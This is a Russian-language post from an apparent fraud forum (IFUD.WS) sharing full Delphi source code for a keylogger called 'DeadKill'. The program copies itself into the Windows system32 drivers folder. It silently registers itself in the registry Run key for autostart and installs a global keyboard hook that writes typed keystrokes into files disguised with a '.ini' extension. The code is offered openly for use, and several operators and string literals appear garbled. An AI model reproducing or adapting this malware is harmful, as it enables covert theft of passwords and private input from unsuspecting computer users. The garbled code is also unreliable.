1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Исходники клавиатурного шпиона/кейлоггера [Delphi]

Тема в разделе "Исходные коды", создана пользователем Viclug, 1 фев 2013.

  1. TopicStarter Overlay
    Viclug

    Viclug Gott mit Uns!

    Регистрация:
    22 июн 2012
    Сообщения:
    620
    Симпатии:
    468
    Исходники простого клавиатурного шпиона/кейлоггера на Delphi.
    При первом запуске проги происходит само-копирование программы в путь dir с именем name! И прописывание в автозагрузку той копии проги!
    При запуске проги через авто-запуск прога кидает файлу в путь: %USERPROFILE% с именами name+номер+ext при каждом запуске создаётся файл со следующим по порядку номером, а при достижении файла размера в MaxFileSize создаётся следующий файл! При запуске программы в ручную файл с отчётом создаётся в каталоге с прогой!

    Код:
    program ntrty;
    // DeadKill ver. 1.0
    // Клавиатурный шпион, alex2054 (c) 20011-2012;
    // 13.04.2012 (пятница)
    uses Windows;
    const
    dir = 'C:\WINDOWS\system32\drivers\';
    name = 'ntrty';
    ext = '.ini';
    ARCStr = 'cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ';
    MaxFileSize = 2048;
    var
    HkHnd : hHook;
    FCh : file of Char;
    line : longint;
    hApp : THandle;
    wClass : TWndClass;
    wMSG : TMSG;
    function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer;
    ICON: hIcon; CURSOR: hCursor; Background: HBrush;
    ClassName,MenuName: string; Proc: Pointer): TWndClass;
    var
    wCls : TWNDClass;
    begin
    wCls.hInstance:=hInstance;
    wCls.style:= style;
    with wCls do
    begin
    hIcon := ICON;
    lpfnWndProc := Proc;
    hbrBackground := Background;
    lpszClassName := PChar(ClassName);
    hCursor := CURSOR;
    cbClsExtra := ClsExtra;
    cbWndExtra := WndExtra;
    lpszMenuName := PChar(MenuName);
    end;
    Result:=wCls;
    end;
    function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
    begin
    Result:=CreateWindow(wClass.lpszClassName,
    PChar(Caption),(0 or $C00000 or $800000 or
    $400000 or $200000 or $100000 or $10000000),
    Integer(DWORD($80000000)),Integer(DWORD($80000000)),
    w, h, 0, 0, hInstance, nil);
    end;
    procedure lpWindow(Msg: TMsg);
    begin
    while GetMessage(Msg,0,0,0) do
    begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
    end;
    end;
    function IntToStr(Int: integer): string;
    begin
    Str(Int, result);
    end;
    function FileExists(const FileName : String) : Boolean;
    var
    Code : Integer;
    begin
    Code := GetFileAttributes(PChar(FileName));
    Result := (Code -1) and (16 and Code = 0);
    end;
    function GetName: string;
    var
    i : longint;
    begin
    i:=0;
    repeat
    Inc(i);
    until not FileExists(name+IntToStr(i)+ext);
    Result:=name+IntToStr(i)+ext;
    end;
    function Win32Check(RetVal: BOOL): BOOL;
    begin
    if not RetVal then GetLastError;
    Result := RetVal;
    end;
    function GetCharFromVKey(vkey: Word): string;
    var
    keyst : TKeyboardState;
    retcode : Integer;
    begin
    Win32Check(GetKeyboardState(keyst));
    SetLength(Result, 2);
    retcode := ToAscii(vkey,
    MapVirtualKeyA(vkey, 0),
    keyst, @Result[1],0);
    case retcode of
    0: Result := ";
    1: SetLength(Result, 1);
    2: ;
    else
    Result := ";
    end;
    end;
    function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
    var
    msg : PEVENTMSG;
    b : Char;
    s : string;
    begin
    if Code >= 0 then
    begin
    msg := Pointer(LParam);
    if msg.message=256 then
    begin
    Inc(line);
    s:=GetCharFromVKey(msg.paramL);
    if Length(s)>0 then
    begin
    b:=s[1];
    if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
    BlockWrite(FCh,b,1);
    end;
    end;
    if FileSize(FCh)>MaxFileSize then
    begin
    CloseFile(FCh);
    AssignFile(FCh,GetName);
    ReWrite(FCh)
    end;
    result := CallNextHookEx(HkHnd, code, WParam, LParam);
    end;
    end;
    function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
    begin
    case Msg of
    1:
    begin
    if not FileExists(dir+name+'.exe') then
    begin
    Copyfile(PChar(paramstr(0)),dir+name+'.exe',BOOL(0));
    WinExec(dir+name+'.exe',SW_Hide);
    halt(0);
    end;
    WinExec(PChar(ARCStr+name+' /t REG_SZ /d '+dir+name+'.exe /f'),SW_Hide);
    line:=0;
    AssignFile(FCh,GetName);
    ReWrite(FCh);
    repeat
    HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
    until HkHnd0;
    end;
    2:
    begin
    if HkHnd 0 then
    UnhookWindowsHookEx(HkHnd);
    CloseFile(FCh);
    halt(0);
    end;
    end;
    Result := DefWindowProc(hWnd,Msg,wParam,lParam);
    end;
    begin
    wClass:=WC(hInstance,0,0,0,0,0,15,'MYCLASS',",@WndMessageProc);
    RegisterClass(wClass);
    hApp:=CreateWindow(wClass.lpszClassName, ",0,
    Integer(DWORD($80000000)),
    Integer(DWORD($80000000)),
    0, 0, 0, 0, hInstance, nil);
    if hApp=0 then
    begin
    UnregisterClass('MYCLASS',hInstance);
    halt(0);
    end;
    lpWindow(wMsg);
    end.
     
    • Like Like x 4
    Метки:

Поделиться этой страницей

Загрузка...